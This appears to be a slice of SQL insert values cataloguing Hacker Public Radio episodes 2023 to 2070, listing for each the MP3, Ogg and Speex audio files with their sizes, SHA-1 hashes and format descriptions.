(2023,'hpr2023.mp3','mp3',14800526,'e3e81678a9cd848d29695604cb1b0017987e822d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2023,'hpr2023.ogg','ogg',16398297,'be4b6f91e3251221cab95a83b589571a0790588f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2023,'hpr2023.spx','spx',6609777,'04851f99d13cab0b5fff95a10a3406172b038040','application/ogg; charset=binary','Ogg data, Speex audio'),
(2024,'hpr2024.mp3','mp3',4506592,'5b5d46c5c1b64058c6cff888cde863b31d067ede','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2024,'hpr2024.ogg','ogg',5413633,'b8726e536d98f34bd273bdaedbae213835b46d8a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2024,'hpr2024.spx','spx',2012402,'7dbef5120f4762697eb5cb6e2dfd64dd5821e1c6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2025,'hpr2025.mp3','mp3',1586138,'5b916ddf2f3ce98a2b7b891f0dd87cd6cb42ce66','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2025,'hpr2025.ogg','ogg',1783569,'c46045048e4333efa7ad8c07c371ae8c4e4f19f2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2025,'hpr2025.spx','spx',708105,'9dae074e0ff74e4a54688c4b5377be40e20de87c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2026,'hpr2026.mp3','mp3',5114121,'85a19119ba5750a1712b2c8f45498574cefda479','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2026,'hpr2026.ogg','ogg',5458409,'ba980611bbb9bff41e5ca694cc38b64e2d152682','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2026,'hpr2026.spx','spx',2283814,'0072d8ddf20aa8090a83a4ab7b8263f9a97116ce','application/ogg; charset=binary','Ogg data, Speex audio'),
(2027,'hpr2027.mp3','mp3',7314860,'48985c9bf84e2790ceaea04f7fd4d88b85ee3c73','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2027,'hpr2027.ogg','ogg',7920144,'0276ff5e5a9f0b1b42125c9b6785b0c9265b4af0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2027,'hpr2027.spx','spx',3266614,'2ecfb7c8b72f4f00173c751c11fcce55f5d01f48','application/ogg; charset=binary','Ogg data, Speex audio'),
(2028,'hpr2028.mp3','mp3',4720983,'0b4496e0b15c29aec2039246744c0305bd4f2448','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2028,'hpr2028.ogg','ogg',5405321,'0bc73d7aeae25952e877641766e23b297c5e7fd8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2028,'hpr2028.spx','spx',2108114,'55109236a02a66e03cceb2b8ed8e15b64700cc48','application/ogg; charset=binary','Ogg data, Speex audio'),
(2029,'hpr2029.mp3','mp3',10337941,'594c4e0900074e8732e58c1c45a31dc0b48e135e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2029,'hpr2029.ogg','ogg',10314404,'6a8f7f94c1f8ed3598b17d4ef70f6b4bbd13f192','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2029,'hpr2029.spx','spx',4616710,'51683ab3a494f58e901ce75c62081541c9e22690','application/ogg; charset=binary','Ogg data, Speex audio'),
(2030,'hpr2030.mp3','mp3',8150544,'1a995a4769efce6faf0a8a4ee69544e30ea69f94','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2030,'hpr2030.ogg','ogg',9096919,'140131505a5849c4a581cf20d3830a0b0e299a6f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2030,'hpr2030.spx','spx',3639824,'6d61ae0a93990191a39a0783276d1b3e99e510cb','application/ogg; charset=binary','Ogg data, Speex audio'),
(2031,'hpr2031.mp3','mp3',3433081,'607b8cc4c88a569b6bd274bba8a35829356f649a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2031,'hpr2031.ogg','ogg',3361516,'83231158597d4d999704d0c221c77a0ca3259f9b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2031,'hpr2031.spx','spx',1533003,'62ef492f0d1d0bf54bda23ce2f29b1582194426f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2032,'hpr2032.mp3','mp3',8640817,'b556c9c2fb6d8b2bb091ff58b4e25e2cbc8ee8fa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2032,'hpr2032.ogg','ogg',9162618,'88d7259f63027fa42e96ecd1487e4785ab079aa5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2032,'hpr2032.spx','spx',3858850,'eb9df2b7099bca9f380f39cce892e5969a22b117','application/ogg; charset=binary','Ogg data, Speex audio'),
(2033,'hpr2033.mp3','mp3',9718297,'c4eaa58bf212ff9a66d687160b5caac039262bf5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2033,'hpr2033.ogg','ogg',10608268,'cc9921ebc76e48b8ae79cf1aee88dc66278bce41','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2033,'hpr2033.spx','spx',4339951,'cf644a52596ebd62ae28849f6448a5195e37e74d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2034,'hpr2034.mp3','mp3',5115586,'16397e54d7942500087fc9b5c2b352f635690475','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2034,'hpr2034.ogg','ogg',5684450,'83fe69fabf4f1007be8b5db04c5d56f05c838a6a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2034,'hpr2034.spx','spx',2284384,'2e3a718b6691e4f574799eae216e35c311bcecb5','application/ogg; charset=binary','Ogg data, Speex audio'),
(2035,'hpr2035.mp3','mp3',5421486,'103885d8b4a1048fd6b65bfc12621429e9259b79','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2035,'hpr2035.ogg','ogg',4743857,'4bede93d50c2697a0eac1f06bed50f9c6e62bcc9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2035,'hpr2035.spx','spx',2420981,'d775533c1283d4e7e0e669da2ce102957f4672e7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2036,'hpr2036.mp3','mp3',13997592,'7386b70b03cae24685ed2622267a8043569ea339','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2036,'hpr2036.ogg','ogg',14398984,'cf27465d82c6d31eb53f8290e2684510ab1efad8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2036,'hpr2036.spx','spx',6251169,'89d6006b10bd75f35a43058ea97bffbc6815f6af','application/ogg; charset=binary','Ogg data, Speex audio'),
(2037,'hpr2037.mp3','mp3',3330681,'1c2e66430346934e8116e34a192bff47c29738fa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2037,'hpr2037.ogg','ogg',3724373,'c1f314d584500e33fef81f85152cc253e8d2b873','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2037,'hpr2037.spx','spx',1487266,'b4b440bfbc4895576439ba6c8f71a0e6515f288b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2038,'hpr2038.mp3','mp3',8455493,'ba0aba88ffabea5e3b1c94c1e37a9096aa2f0b8c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2038,'hpr2038.ogg','ogg',9024726,'c16bc129a899b8b589368d5f1bcf17b94d034fe5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2038,'hpr2038.spx','spx',3776062,'f568ddeb4c87fa473e3625fdeef0152d0b31c569','application/ogg; charset=binary','Ogg data, Speex audio'),
(2039,'hpr2039.mp3','mp3',9456730,'412bbd6fa2fbbad448fd74869fb954b77b41d2d2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2039,'hpr2039.ogg','ogg',11322177,'dd9a49a3481ca1d02a25835ac884efd389692c7a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2039,'hpr2039.spx','spx',4223258,'9872e6a2c8d55350377c39c4f8f3da5cc2ac3e96','application/ogg; charset=binary','Ogg data, Speex audio'),
(2040,'hpr2040.mp3','mp3',3488652,'db4cabcedade4d6a6dd99a3b608f78d791fc20d7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2040,'hpr2040.ogg','ogg',4005100,'e5d2bd97946b57c185c5e96e3204f33ef01cc710','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2040,'hpr2040.spx','spx',1557784,'c5be0ea603fa8a2b8187b7377730e7d6c7c5aea6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2041,'hpr2041.mp3','mp3',5474983,'e3f12952b1d47e5068f822e3d1e285902f961d95','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2041,'hpr2041.ogg','ogg',6325806,'9486698cdc457b6cac857a03e5789cecda6506c8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2041,'hpr2041.spx','spx',2444895,'1c9ac412ca599014271d457541c86f505297f74d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2042,'hpr2042.mp3','mp3',9335861,'72d9d3de7b7bff3e4010ef91ea5f3f6870508a7d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2042,'hpr2042.ogg','ogg',10231029,'bba86a50aed59507bc3d4e5a9a1e11d8e9f94e06','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2042,'hpr2042.spx','spx',4169147,'f5bd2ed9baa1f40549a93ae0aa60e6d00c98ea19','application/ogg; charset=binary','Ogg data, Speex audio'),
(2043,'hpr2043.mp3','mp3',3203550,'337856ed92611127e1fe36d47e6b97593cff9638','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2043,'hpr2043.ogg','ogg',3504689,'393ead98123de44e68e5e7da7bc1bad6eaf644e6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2043,'hpr2043.spx','spx',1430464,'47ef9f9cb64c005fad14dc8da2b4f072dd52d062','application/ogg; charset=binary','Ogg data, Speex audio'),
(2044,'hpr2044.mp3','mp3',9609870,'40c3356d2b4042560bc6d2fd7b206cf6d5b8460d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2044,'hpr2044.ogg','ogg',9642740,'35e304eee8aa67c7f9113666b7c34e531246720d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2044,'hpr2044.spx','spx',4291591,'c64bbfadd5d1c267343c2eebf6a1a02991f09f50','application/ogg; charset=binary','Ogg data, Speex audio'),
(2045,'hpr2045.mp3','mp3',27965995,'e1f094ea8aee6c1db4a86ba9ff2c3f5f6b6e96b8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2045,'hpr2045.ogg','ogg',31669327,'7b720ccc9955d61687eb6fb00e137e00d78d5a05','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2045,'hpr2045.spx','spx',12489636,'7f3dfc2ae74d71b9c02548c9fd08c31d026f55c8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2046,'hpr2046.mp3','mp3',36573228,'69ca481e006214167d516aec741a04fcc716dfbf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2046,'hpr2046.ogg','ogg',36355729,'278fe8c09989ab064fffd1441ffa7a4fa40ab364','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2046,'hpr2046.spx','spx',16333766,'99e28c16281e13f2fea14f27b86ad8325639f2d9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2047,'hpr2047.mp3','mp3',2539229,'ea5e2d6f3103dd129c248a8a7c47f8beef30818a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2047,'hpr2047.ogg','ogg',2865899,'61abc7cd29cfd88ac6f38515481389cd17ffd1f4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2047,'hpr2047.spx','spx',1133780,'48401ff441dae62a022d66950b30803be8cc92c1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2048,'hpr2048.mp3','mp3',11673509,'7346352b84171ab94f1df5df794a1079fed104b1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2048,'hpr2048.ogg','ogg',14585561,'bf53bbb82ef2a60953b046b4d3d583ca574c2d2d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2048,'hpr2048.spx','spx',5213226,'8e94fb8c6e8223e59926ce8c579667fbea54b5bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2049,'hpr2049.mp3','mp3',13357299,'1fb48e3895343e1969086acb4a8b514fdf46a114','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2049,'hpr2049.ogg','ogg',14169352,'ff5ecc7b19f47da4079f4b01b9a68824a1ab6fd8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2049,'hpr2049.spx','spx',5965208,'767727e5f73c3994fa55cbb3a4b65607778593f1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2050,'hpr2050.mp3','mp3',8890586,'095181dab4a823f31082b8c91e97951e99078f9d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2050,'hpr2050.ogg','ogg',9662744,'dc1ecec2a4ecc06a33ab1573e91131b9bd014d59','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2050,'hpr2050.spx','spx',3970347,'293e3386e36786a0cf95ba2a5306907458c9cc96','application/ogg; charset=binary','Ogg data, Speex audio'),
(2051,'hpr2051.mp3','mp3',6770889,'5d1bc761741f6cf5077dbce073232595a898b89c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2051,'hpr2051.ogg','ogg',7568973,'e8449e30a367d751d96a454d9b5f9a4b22cacff7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2051,'hpr2051.spx','spx',3023678,'f25c7a5a1f5a152951718e9c44caecd4b8021e54','application/ogg; charset=binary','Ogg data, Speex audio'),
(2052,'hpr2052.mp3','mp3',19658478,'4460bbc36652bfcfee677d41e1121ca4297dd606','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2052,'hpr2052.ogg','ogg',21327022,'ae8c3d322d562c5e50c3b92f2fd6e20f33bf005f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2052,'hpr2052.spx','spx',8779392,'d4ae21ded64a775c7c1eca42c9c3f05ca03de72d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2053,'hpr2053.mp3','mp3',2099530,'2bc8b110d2a90e78ba3777f4f2abf89f40b64e9e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2053,'hpr2053.ogg','ogg',2267185,'d38609987528ffa32c0ac2848b076887c98fbeb1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2053,'hpr2053.spx','spx',937357,'967ca9c00e7da2fda2b592f8a1438620c002a9ed','application/ogg; charset=binary','Ogg data, Speex audio'),
(2054,'hpr2054.mp3','mp3',12261197,'ac9d638f2e04d6813c05e5adc5044f80c5dfb8b9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2054,'hpr2054.ogg','ogg',14302256,'e2ef562260380e936ec7d70dfc8ebaf1e1a1e3e9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2054,'hpr2054.spx','spx',5475722,'f2f89bcc324072969f52d5d0cfa397fbe6c0059b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2055,'hpr2055.mp3','mp3',4433842,'7dbc6735ae9fff794dd47235ba30ac9d93b6ccfd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2055,'hpr2055.ogg','ogg',4872893,'086163f777f7c8b2b429f12712cea076aba1ad62','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2055,'hpr2055.spx','spx',1979927,'2a2d2380976c1d56ecffad2739a28f8fa2e68485','application/ogg; charset=binary','Ogg data, Speex audio'),
(2056,'hpr2056.mp3','mp3',3269885,'e6a7043cd2616319227eecac4bfe5ffabf494a1f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2056,'hpr2056.ogg','ogg',3523536,'e6cc718d351badf58462b5476ea41b3dbdb2f6d5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2056,'hpr2056.spx','spx',1460070,'205e1deb95ca4c97db1a5fe8bc0ebf91ad923b31','application/ogg; charset=binary','Ogg data, Speex audio'),
(2057,'hpr2057.mp3','mp3',4032366,'5eccd455bd7adbbaab72905e27a593d9cfe5cebc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2057,'hpr2057.ogg','ogg',4242103,'b746fbf7a5ad0bbb041ece78ff02f78ee7da9295','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2057,'hpr2057.spx','spx',1800596,'efd5fbd4ab9c96596731989fc348023eaf13ee44','application/ogg; charset=binary','Ogg data, Speex audio'),
(2058,'hpr2058.mp3','mp3',4384723,'fbd162e6af25596df9da2e9745deace64b40093a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2058,'hpr2058.ogg','ogg',4077311,'59a22befa4ae6ecbf817ec508f3adf495eb07942','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2058,'hpr2058.spx','spx',1957982,'ca823831590561847208ab5a166e54ad6a8f29ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(2059,'hpr2059.mp3','mp3',8978288,'08a081c2f0ceec401f252f4e7d24dc1eca129a12','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2059,'hpr2059.ogg','ogg',10269752,'05de29c7fbb9e427b88c34d60c9850acf2d802b6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2059,'hpr2059.spx','spx',4009498,'4d2763294ebf4192a924e7e16b3bfd9b87d88f81','application/ogg; charset=binary','Ogg data, Speex audio'),
(2060,'hpr2060.mp3','mp3',24191006,'b07568b21dca2c8b963ec826ca3af5f4e97546fd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2060,'hpr2060.ogg','ogg',26917165,'ef467787648bf619241e3063e9c9390e0e35f0a3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2060,'hpr2060.spx','spx',10803610,'8f7a47e538273e29a0293bd23f5afd1bd6b88b54','application/ogg; charset=binary','Ogg data, Speex audio'),
(2061,'hpr2061.mp3','mp3',4563206,'b11b7576e14a220f2780378bf0f065038d480a7b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2061,'hpr2061.ogg','ogg',4807698,'fa3714f9a775f6580821cca3e2abf76dba7b0251','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2061,'hpr2061.spx','spx',2037746,'5c029e250997bebb2c406737e59ed15d1b6507ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(2062,'hpr2062.mp3','mp3',20634819,'d48160b9405be7acfad60cfb658e5f9015dbb415','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2062,'hpr2062.ogg','ogg',23870059,'915244881dd3c03e16ca8ef37e08f4ca2629e2a2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2062,'hpr2062.spx','spx',9215474,'ad8fbd3173b9e8b1edc6942143435ea80e570cd4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2063,'hpr2063.mp3','mp3',2244983,'c06c511d93c84dfa963921185ffdb4ca54a2ce68','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2063,'hpr2063.ogg','ogg',2508236,'4b51a0e8e8322bafeab5c9d8b8c9bd29c94e2d6f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2063,'hpr2063.spx','spx',1002301,'6fd3f183887cd8b3edd96b0ecfac2b41e41ef60c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2064,'hpr2064.mp3','mp3',10750871,'30b5dc6d12f05784af089f9999e5a5d5064bd1ff','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2064,'hpr2064.ogg','ogg',12040230,'ac0e2261e16215abb40d3742ed41fb64377de7cb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2064,'hpr2064.spx','spx',4801201,'f32769bc5069201fead86f4d2be0a3b6086601de','application/ogg; charset=binary','Ogg data, Speex audio'),
(2065,'hpr2065.mp3','mp3',3258157,'2de2ef32c324f7ca2847f3cc2ffacd487c31c8f3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2065,'hpr2065.ogg','ogg',3665916,'89e9912c8cb8c3ee34e44447a66a85210a967813','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2065,'hpr2065.spx','spx',1454879,'b89e516ac74a3563244bc8840dab7b425f2c1a1f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2066,'hpr2066.mp3','mp3',47758063,'44eef262c82ccf4653b5fe66603536bc9807920c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2066,'hpr2066.ogg','ogg',47468863,'1b7e614f8f06dbe97be8a9b08388d973381b7c0f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2066,'hpr2066.spx','spx',21328957,'ddc14222c8d8e6f8505fa6d629e2bd959f7021fd','application/ogg; charset=binary','Ogg data, Speex audio'),
(2067,'hpr2067.mp3','mp3',5497966,'b1d6ae42324cc9ee5cfd660361dd62a64af8fec0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2067,'hpr2067.ogg','ogg',6825088,'7d0d58f690868cbbd9659d0867891b70621f14df','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2067,'hpr2067.spx','spx',2455123,'cdc3159ccad9237d1fff8d23260fcdc5f0b125e9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2068,'hpr2068.mp3','mp3',5225326,'b0660ffb06b920432db1bb262c6faf37a3a0a754','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2068,'hpr2068.ogg','ogg',5516113,'2cb8401b6a282466463e72b123d43fe40a744054','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2068,'hpr2068.spx','spx',2333507,'b0f8244a1ecb4da7efef86bb273603cc64036e31','application/ogg; charset=binary','Ogg data, Speex audio'),
(2069,'hpr2069.mp3','mp3',9841235,'dd61e8bf05ccd93d18032f59711b26c42c3d1825','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2069,'hpr2069.ogg','ogg',11678343,'2c62c36fcf817c75d618f7af17769da7900648c7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2069,'hpr2069.spx','spx',4394956,'885221e472e8d0d6482c9547ab3f64bf1a5c83e9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2070,'hpr2070.mp3','mp3',6627139,'5f566448666f4e7445a38fc91d30d2e9f3e086dc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2070,'hpr2070.ogg','ogg',7317783,'a678de87232c1dc863a7421c4aff14532f48cc69','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2070,'hpr2070.spx','spx',2959512,'d40739d35755a82a1adfdcdad5c9cd1c4b4df302','application/ogg; charset=binary','Ogg data, Speex audio'),
